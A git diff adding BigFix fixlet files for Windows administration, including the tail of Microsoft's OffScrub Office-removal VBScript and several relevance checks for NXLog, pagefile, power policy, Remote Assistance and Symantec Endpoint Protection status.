+        Case "001B" : sReturn = "Word"
+        Case "001C" : sReturn = "AccessRuntime"
+        Case "001F" : sReturn = "Proof"
+        Case "0020" : sReturn = "O2007CNV"
+        Case "0021" : sReturn = "VisualWebDeveloper"
+        Case "0026" : sReturn = "ExpressionWeb"
+        Case "0029" : sReturn = "Excel"
+        Case "002A" : sReturn = "Office64"
+        Case "002B" : sReturn = "Word"
+        Case "002C" : sReturn = "Proofing"
+        Case "002E" : sReturn = "Ultimate"
+        Case "002F" : sReturn = "HomeAndStudent"
+        Case "0028" : sReturn = "IME"
+        Case "0030" : sReturn = "Enterprise"
+        Case "0031" : sReturn = "ProfessionalHybrid"
+        Case "0033" : sReturn = "Personal"
+        Case "0035" : sReturn = "ProfessionalHybrid"
+        Case "0037" : sReturn = "PowerPoint"
+        Case "0038" : sReturn = "OlTimeZoneTool"
+        Case "003A" : sReturn = "PrjStd"
+        Case "003B" : sReturn = "PrjPro"
+        Case "003D" : sReturn = "SINGLEIMAGE"
+        Case "0043" : sReturn = "OFFICE32"
+        Case "0044" : sReturn = "InfoPath"
+        Case "0045" : sReturn = "XWEB"
+        Case "0048" : sReturn = "OLC"
+        Case "0049" : sReturn = "ACADEMIC"
+        Case "004A" : sReturn = "OWC11"
+        Case "0051" : sReturn = "VISPRO"
+        Case "0052" : sReturn = "VisView"
+        Case "0053" : sReturn = "VisStd"
+        Case "0054" : sReturn = "VisMUI"
+        Case "0055" : sReturn = "VisMUI"
+        Case "0057" : sReturn = "VISIO"
+        Case "0061" : sReturn = "CLICK2RUN"
+        Case "0062" : sReturn = "CLICK2RUN"
+        Case "0066" : sReturn = "CLICK2RUN"
+        Case "006C" : sReturn = "CLICK2RUN"
+        Case "006D" : sReturn = "CLICK2RUN"
+        Case "006E" : sReturn = "Shared"
+        Case "006F" : sReturn = "OFFICE"
+        Case "0070" : sReturn = "OOBE"
+        Case "0074" : sReturn = "STARTER"
+        Case "007A" : sReturn = "OLC" 'Outlook Connector
+        Case "007C" : sReturn = "OSCFB" 'Outlook Social Connector for FaceBook
+        Case "007D" : sReturn = "OSCWL" 'Outlook Social Connector for Windows Live Messenger
+        Case "007F" : sReturn = "OLC" 'Outlook Social Connector
+        Case "008A" : sReturn = "RecentDocs"
+        Case "008B" : sReturn = "SmallBusinessBasics"
+        Case "00A1" : sReturn = "ONENOTE"
+        Case "00A3" : sReturn = "OneNoteHomeStudent"
+        Case "00A4" : sReturn = "OWC11"
+        Case "00A7" : sReturn = "CPAO"
+        Case "00A9" : sReturn = "InterConnect"
+        Case "00AF" : sReturn = "PPtView"
+        Case "00B0" : sReturn = "ExPdf"
+        Case "00B1" : sReturn = "ExXps"
+        Case "00B2" : sReturn = "ExPdfXps"
+        Case "00B4" : sReturn = "PrjMUI"
+        Case "00B5" : sReturn = "PrjtMUI"
+        Case "00B9" : sReturn = "AER"
+        Case "00BA" : sReturn = "Groove"
+        Case "00CA" : sReturn = "SmallBusiness"
+        Case "00E0" : sReturn = "Outlook"
+        Case "00D1" : sReturn = "ACE"
+        Case "0100" : sReturn = "OfficeMUI"
+        Case "0101" : sReturn = "OfficeXMUI"
+        Case "0103" : sReturn = "PTK"
+        Case "0114" : sReturn = "GrooveSetupMetadata"
+        Case "0115" : sReturn = "SharedSetupMetadata"
+        Case "0116" : sReturn = "SharedSetupMetadata"
+        Case "0117" : sReturn = "AccessSetupMetadata"
+        Case "011A" : sReturn = "SendASmile"
+        Case "011D" : sReturn = "ProPlusSubscription"
+        Case "011F" : sReturn = "OLConnect"
+        Case "0126" : sReturn = "WWLIBCXM"
+
+        Case "1014" : sReturn = "STS"
+        Case "1015" : sReturn = "WSSMUI"
+        Case "1032" : sReturn = "PJSVRAPP"
+        Case "104B" : sReturn = "SPS"
+        Case "104E" : sReturn = "SPSMUI"
+        Case "107F" : sReturn = "OSrv"
+        Case "1080" : sReturn = "OSrv"
+        Case "1088" : sReturn = "lpsrvwfe"
+        Case "10D7" : sReturn = "IFS"
+        Case "10D8" : sReturn = "IFSMUI"
+        Case "10EB" : sReturn = "DLCAPP"
+        Case "10F5" : sReturn = "XLSRVAPP"
+        Case "10F6" : sReturn = "XlSrvWFE"
+        Case "10F7" : sReturn = "DLC"
+        Case "10F8" : sReturn = "SlSrvMui"
+        Case "10FB" : sReturn = "OSrchWFE"
+        Case "10FC" : sReturn = "OSRCHAPP"
+        Case "10FD" : sReturn = "OSrchMUI"
+        Case "1103" : sReturn = "DLC"
+        Case "1104" : sReturn = "LHPSRV"
+        Case "1105" : sReturn = "PIA"
+        Case "1106" : sReturn = "GRVMGMTSRV"
+        Case "1109" : sReturn = "GSERVERRELAY"
+        Case "110D" : sReturn = "OSERVER"
+        Case "110F" : sReturn = "PSERVER"
+        Case "1110" : sReturn = "WSS"
+        Case "1121" : sReturn = "SPSSDK"
+        Case "1122" : sReturn = "SPSDev"
+        Case "1163" : sReturn = "SCC" 'SharePoint Client Components
+        Case Else : sReturn = sProdID
+
+        End Select 'sProdId
+    GetProductID = sReturn
+End Function 'GetProductID
+'=======================================================================================================
+
+Sub Log (sLog)
+    If NOT fQuiet AND fCScript Then wscript.echo sLog
+    LogStream.WriteLine sLog
+End Sub 'Log
+'=======================================================================================================
+
+Sub LogOnly (sLog)
+    LogStream.WriteLine sLog
+End Sub 'Log
+'=======================================================================================================
+
+Sub CheckError(sModule)
+    If Err <> 0 Then
+        LogOnly "   " & Now & " - " & sModule & " - Source: " & Err.Source & "; Err# (Hex): " & Hex( Err ) & _
+               "; Err# (Dec): " & Err & "; Description : " & Err.Description
+    End If 'Err = 0
+    Err.Clear
+End Sub
+'=======================================================================================================
+
+'Command line parser
+Sub ParseCmdLine
+
+    Dim iCnt, iArgCnt
+    Dim arrArguments
+    Dim sArg0, sArguments
+
+    iArgCnt = Wscript.Arguments.Count
+    If iArgCnt > 1 Then
+        If wscript.Arguments(1) = "UAC" Then
+            If wscript.arguments.count = 2 Then iArgCnt = 0
+        End If
+    End If
+
+    sArguments = ""
+    If iArgCnt = 0 Then
+        If sDefault = "" Then
+            'Create the log
+            CreateLog
+            Log "No argument specified. Preparing user prompt" & vbCrLf
+            fPassive = False
+            FindInstalledOProducts
+            If dicInstalledSku.Count > 0 Then sDefault = Join(RemoveDuplicates(dicInstalledSku.Items),",") Else sDefault = "CLIENTALL"
+            sDefault = InputBox("Enter a list of " & ONAME & " products to remove" & vbCrLf & vbCrLf & _
+                    "Examples:" & vbCrLf & _
+                    "CLIENTALL" & vbTab & "-> all Client products" & vbCrLf & _
+                    "SERVER" & vbTab & "-> all Server products" & vbCrLf & _
+                    "ALL" & vbTab & vbTab & "-> all Server & Client products" & vbCrLf & _
+                    "ProPlus,PrjPro" & vbTab & "-> ProPlus and Project" & vbCrLf &_
+                    "?" & vbTab & vbTab & "-> display Help", _
+                    SCRIPTFILE & " - " & ONAME & " remover", _
+                    sDefault)
+
+            If IsEmpty(sDefault) Then 'User cancelled
+                Log "User cancelled. CleanUp & Exit."
+                'Undo temporary entries created in ARP
+                TmpKeyCleanUp
+                wscript.quit 1602
+            End If 'IsEmpty(sDefault)
+            Log "Answer from prompt: " & sDefault & vbCrLf
+        End If
+        sDefault = Trim(UCase(Trim(Replace(sDefault, Chr(34), ""))))
+        arrArguments = Split(Trim(sDefault), " ")
+        If UBound(arrArguments) = -1 Then ReDim arrArguments(0)
+    Else
+        ReDim arrArguments(iArgCnt-1)
+        For iCnt = 0 To (iArgCnt-1)
+            sArguments = sArguments & arrArguments(iCnt) & " "
+            arrArguments(iCnt) = UCase(Wscript.Arguments(iCnt))
+        Next 'iCnt
+    End If 'iArgCnt = 0
+
+    'Handle the SKU list
+    sArg0 = Replace(arrArguments(0), "/", "")
+    If Left(sArg0, 1) = "-" Then sArg0 = Mid(sArg0, 2)
+
+    Select Case UCase(sArg0)
+
+    Case "?"
+        ShowSyntax
+
+    Case "ALL"
+        fRemoveAll = True
+        fRemoveOse = False
+
+    Case "CLIENTSUITES"
+        fRemoveCSuites = True
+        fRemoveOse = False
+
+    Case "CLIENTSTANDALONE"
+        fRemoveCSingle = True
+        fRemoveOse = False
+
+    Case "CLIENTALL"
+        fRemoveCSuites = True
+        fRemoveCSingle = True
+        fRemoveOse = False
+
+    Case "SERVER"
+        fRemoveSrv = True
+        fRemoveOse = False
+
+    Case "ALL,OSE"
+        fRemoveAll = True
+        fRemoveOse = True
+
+    Case Else
+        fRemoveAll = False
+        fRemoveOse = False
+        sSkuRemoveList = sArg0
+
+    End Select
+
+    For iCnt = 0 To UBound(arrArguments)
+
+        Select Case arrArguments(iCnt)
+
+        Case "?", "/?", "-?"
+            ShowSyntax
+
+        Case "/B", "/BYPASS"
+            If UBound(arrArguments) > iCnt Then
+                If InStr(arrArguments(iCnt + 1), "1") > 0 Then fBypass_Stage1 = True
+                If InStr(arrArguments(iCnt + 1), "2") > 0 Then fBypass_Stage2 = True
+                If InStr(arrArguments(iCnt + 1), "3") > 0 Then fBypass_Stage3 = True
+                If InStr(arrArguments(iCnt + 1), "4") > 0 Then fBypass_Stage4 = True
+            End If
+
+        Case "/D", "/DELETEUSERSETTINGS"
+            fKeepUser = False
+
+        Case "/FR", "/FASTREMOVE"
+            fBypass_Stage1 = True
+            fSkipSD = True
+
+        Case "/F", "/FORCE"
+            fForce = True
+
+        Case "/K", "/KEEPUSERSETTINGS"
+            fKeepUser = True
+
+        Case "/KEEPSG", "/KEEPSOFTGRID"
+            fKeepSG = True
+
+        Case "/KEEPLYNC"
+            fRemoveLync = False
+
+        Case "/REMOVELYNC"
+            fRemoveLync = True
+
+        Case "/L", "/LOG"
+            fLogInitialized = False
+            If UBound(arrArguments) > iCnt Then
+                If oFso.FolderExists(arrArguments(iCnt + 1)) Then
+                    sLogDir = arrArguments(iCnt + 1)
+                Else
+                    On Error Resume Next
+                    oFso.CreateFolder(arrArguments(iCnt + 1))
+                    If Err <> 0 Then sLogDir = sScrubDir Else sLogDir = arrArguments(iCnt + 1)
+                End If
+            End If
+
+        Case "/NOCANCEL"
+            fNoCancel = True
+
+        Case "/NOREBOOT"
+            fNoReboot = True
+
+        Case "/NE", "/NOELEVATE"
+            fNoElevate = True
+
+        Case "/O", "/OSE"
+            fRemoveOse = True
+
+        Case "/P", "/PREVIEW", "/DETECTONLY"
+            fDetectOnly = True
+
+        Case "/PASSIVE", "/QB-"
+            fPassive = True
+
+        Case "/Q", "/QUIET"
+            fQuiet = True
+
+        Case "/QB"
+            fQuiet = True
+            fBasic = True
+
+        Case "/QND"
+            fBypass_Stage1 = True
+            fBypass_Stage2 = True
+            fBypass_Stage3 = True
+            fRemoveOse = True
+            fRemoveOspp = True
+            fRemoveAll = True
+            fSkipSD = True
+            fForce = True
+
+        Case "/R", "/RECONCILE"
+            fTryReconcile = True
+
+        Case "/REMOVEOSPP" , "/CLEANOSPP"
+            fRemoveOspp = True
+
+        Case "/S", "/SKIPSD", "/SKIPSHORTCUTDETECTION"
+            fSkipSD = True
+
+        Case "/SC", "/SCANCOMPONENTS"
+            fBypass_Stage1 = False
+
+        Case Else
+
+        End Select
+    Next 'iCnt
+    If Not fLogInitialized Then CreateLog
+    LogOnly "Arguments: " & sArguments & vbCrLf
+
+End Sub 'ParseCmdLine
+'=======================================================================================================
+
+Sub CreateLog
+    Dim DateTime
+    Dim sLogName
+
+    On Error Resume Next
+    'Create the log file
+    Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
+    DateTime.SetVarDate Now,True
+    sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
+    sLogName = sLogName &  "_" & Left(DateTime.Value,14)
+    sLogName = sLogName & "_ScrubLog.txt"
+    Err.Clear
+    Set LogStream = oFso.CreateTextFile(sLogName,True,True)
+    If Err <> 0 Then
+        Err.Clear
+        sLogDir = sScrubDir
+        sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
+        sLogName = sLogName &  "_" & Left(DateTime.Value,14)
+        sLogName = sLogName & "_ScrubLog.txt"
+        Set LogStream = oFso.CreateTextFile(sLogName,True,True)
+    End If
+
+    Log "Microsoft Customer Support Services - " & ONAME & " Removal Utility" & vbCrLf & vbCrLf & _
+                "OffScrub Version: " & SCRIPTVERSION & vbCrLf & _
+                "64 bit OS: " & f64
+    LogOnly     "OS Details: " & sOSinfo & vbCrLf
+    Log         "Start removal: " & Now & vbCrLf
+    fLogInitialized = True
+End Sub 'CreateLog
+'=======================================================================================================
+'-------------------------------------------------------------------------------
+'   RelaunchAs64Host
+'
+'   Relaunch self with 64 bit WScript host
+'-------------------------------------------------------------------------------
+Sub RelaunchAs64Host
+    Dim Argument, sCmd
+
+    sCmd = Replace (LCase(wscript.Path), "syswow64", "sysnative") & "\cscript.exe " & Chr(34) & WScript.scriptFullName & Chr(34)
+    If fQuiet AND NOT fCScript Then sCmd = Replace (sCmd, "\cscript.exe", "\wscript.exe")
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            sCmd = sCmd & " " & chr(34) & Argument & chr(34)
+        Next 'Argument
+    Else
+    	If Not sDefault = "" Then sCmd = sCmd & " " & chr(34) & sDefault & chr(34)
+    End If
+    sCmd = sCmd & " /ChangedHostBitness"
+    Wscript.Quit oWShell.Run(sCmd, 1, True)
+
+End Sub 'RelaunchAs64Host
+'=======================================================================================================
+
+Sub RelaunchAsCScript
+    Dim Argument
+    Dim sCmdLine
+
+    sCmdLine = "cmd.exe /c " & WScript.Path & "\cscript.exe //NOLOGO " & Chr(34) & WScript.scriptFullName & Chr(34)
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
+        Next 'Argument
+    End If
+    Log "Relaunching with CScript as host. Full command: " & sCmdLine
+    Wscript.Quit oWShell.Run(sCmdLine, 1, True)
+End Sub 'RelaunchAsCScript
+'=======================================================================================================
+
+Sub RelaunchElevated
+    Dim Argument
+    Dim sCmdLine
+    Dim oShell
+
+    Set oShell = CreateObject("Shell.Application")
+
+    sCmdLine = Chr(34) & WScript.scriptFullName & Chr(34)
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            Select Case UCase(Argument)
+            Case "/Q","/QUIET"
+                'Don't try to relaunch in quiet mode
+                Exit Sub
+            Case "UAC"
+                'Already tried elevated relaunch
+                Exit Sub
+            Case Else
+                sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
+            End Select
+        Next 'Argument
+    Else
+    	If Not sDefault = "" Then sCmdLine = sCmdLine & " " & chr(34) & sDefault & chr(34)
+    End If
+    oShell.ShellExecute "cscript.exe", sCmdLine & " /NoElevate UAC", "", "runas", 1
+    Wscript.Quit 5
+End Sub 'RelaunchElevated
+'=======================================================================================================
+
+'Show the expected syntax for the script usage
+Sub ShowSyntax
+    TmpKeyCleanUp
+    Wscript.Echo sErr & vbCrLf & _
+             SCRIPTFILE & " V " & SCRIPTVERSION & vbCrLf & _
+             "Copyright (c) Microsoft Corporation. All Rights Reserved" & vbCrLf & vbCrLf & _
+             SCRIPTFILE & " helps to remove " & ONAME & " Server & Client products" & vbCrLf & _
+             "when a regular uninstall is no longer possible" & vbCrLf & vbCrLf & _
+             "Usage:" & vbTab & SCRIPTFILE & " [List of config ProductIDs] [Options]" & vbCrLf & vbCrLf & _
+             vbTab & "/?                          ' Displays this help"& vbCrLf &_
+             vbTab & "/Log [LogfolderPath]        ' Custom folder for log files" & vbCrLf & _
+             vbTab & "/SkipSD                     ' Skips the ShortcutDetection in local profiles" & vbCrLf & _
+             vbTab & "/NoCancel                   ' Setup.exe and Msiexec.exe have no Cancel button" & vbCrLf &_
+             vbTab & "/Quiet                      ' Script, Setup.exe and Msiexec.exe run quiet with no UI" & vbCrLf &_
+             vbTab & "/Preview                    ' Run this script to preview what would get removed"& vbCrLf & vbCrLf & _
+             "Examples:"& vbCrLf & _
+             vbTab & SCRIPTFILE & " CLIENTSUITES    ' Remove all " & ONAME & " Client suites/products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " CLIENTALL       ' Remove all " & ONAME & " Client products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " SERVER          ' Remove all " & ONAME & " Server products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " ALL             ' Remove all " & ONAME & " Server & Client products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " ProPlus,PrjPro  ' Remove ProPlus and Project" & vbCrLf
+    Wscript.Quit
+End Sub 'ShowSyntax
+'=======================================================================================================
+_end_
+
+move __createfile "OffScrub_O15msi.vbs"
+
+waithidden cscript "OffScrub_O15msi.vbs"]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - NXLog is installed but not running - Windows (22649).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - NXLog is installed but not running - Windows (22649).bes
new file mode 100644
index 000000000..a0fdcc737
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - NXLog is installed but not running - Windows (22649).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - NXLog is installed but not running - Windows
+  ID       : 22649
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - NXLog is installed but not running - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet identifies and starts a stopped NXLog Client.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;nxlog&quot;</Relevance>
+    <Relevance>state of service &quot;NXLog&quot; != &quot;Running&quot;</Relevance>
+    <Category>NXLog CE</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-11-08</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+waithidden net start nxlog</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Pagefile has non-default configuration - Windows (20537).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Pagefile has non-default configuration - Windows (20537).bes
new file mode 100644
index 000000000..52b1df7f1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Pagefile has non-default configuration - Windows (20537).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Pagefile has non-default configuration - Windows
+  ID       : 20537
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:14:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Pagefile has non-default configuration - Windows</Title>
+    <Description><![CDATA[<P>The system pagefile has a non-default configuration.</P>
+<P>This is normally done as a troubleshooting step but is often not undone after troubleshooting.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>(value &quot;PagingFiles&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string) != &quot;?:\pagefile.sys%00%00&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-21</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Power Policy set to High Performance - Windows (21429).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Power Policy set to High Performance - Windows (21429).bes
new file mode 100644
index 000000000..bf382184a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Power Policy set to High Performance - Windows (21429).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Power Policy set to High Performance - Windows
+  ID       : 21429
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-06T19:33:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Power Policy set to High Performance - Windows</Title>
+    <Description><![CDATA[The power policy on the target machine is set to High Performance.
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>(value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\Default\PowerSchemes&quot; of native registry as string) = &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Remote Assistance may not be installed (23559).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Remote Assistance may not be installed (23559).bes
new file mode 100644
index 000000000..a8397b53b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Remote Assistance may not be installed (23559).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Remote Assistance may not be installed
+  ID       : 23559
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:02:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Remote Assistance may not be installed</Title>
+    <Description><![CDATA[<P>The Windows Remote Assistance feature is not installed by default on Windows Server Operating Systems.</P>
+<P>This fixlet uses DISM to enable the Remote Assistance feature.</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>name of operating system as string starts with &quot;Win2&quot;</Relevance>
+    <Relevance>not exists selects &quot;* from Win32_ServerFeature where (Name like &apos;Remote Assistance&apos;)&quot; of wmi</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+wait dism.exe /online /enable-feature /featurename=RemoteAssistance</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows (21744).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows (21744).bes
new file mode 100644
index 000000000..aba6f83d3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows (21744).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows
+  ID       : 21744
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-27T23:54:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet is relevant if the Symantec Client has not had a successful client communication in 30 days.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
+    <Relevance><![CDATA[(((tuple string item 0 of (concatenations ", " of substrings separated by ":" of it) of (it as string) of (values "CommunicationStatus" of keys "Symantec Endpoint Protection\SMC\SYLINK\SyLink" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries))) as integer) * second) + "01 Jan 1970 00:00:00" as universal time < now - 5 * day]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec File System Auto-Protect is Disabled - Windows (21745).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec File System Auto-Protect is Disabled - Windows (21745).bes
new file mode 100644
index 000000000..e2a0532f0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec File System Auto-Protect is Disabled - Windows (21745).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Symantec File System Auto-Protect is Disabled - Windows
+  ID       : 21745
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-27T23:54:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Symantec File System Auto-Protect is Disabled - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet is relevant if the Symantec Client has File System Auto-Protect Disabled.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
+    <Relevance>exists values &quot;OnOff&quot; whose (it=0)of key &quot;AV\Storages\InternetMail\RealTimeScan&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Symantec\Symantec Endpoint Protection&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec has recursive whole drive exceptions defined - Windows (21746).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec has recursive whole drive exceptions defined - Windows (21746).bes
new file mode 100644
index 000000000..b1b82e71b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec has recursive whole drive exceptions defined - Windows (21746).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Symantec has recursive whole drive exceptions defined - Windows
+  ID       : 21746
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-27T23:54:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Symantec has recursive whole drive exceptions defined - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet is relevant if the client has a&nbsp;Real Time Scanning or Heuristic&nbsp;recursive drive exception defined.</P>
+<P>An example of this would be a C:\* exclusion. This Fixlet only looks at exclusions targeted towards drives that exist on the system.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
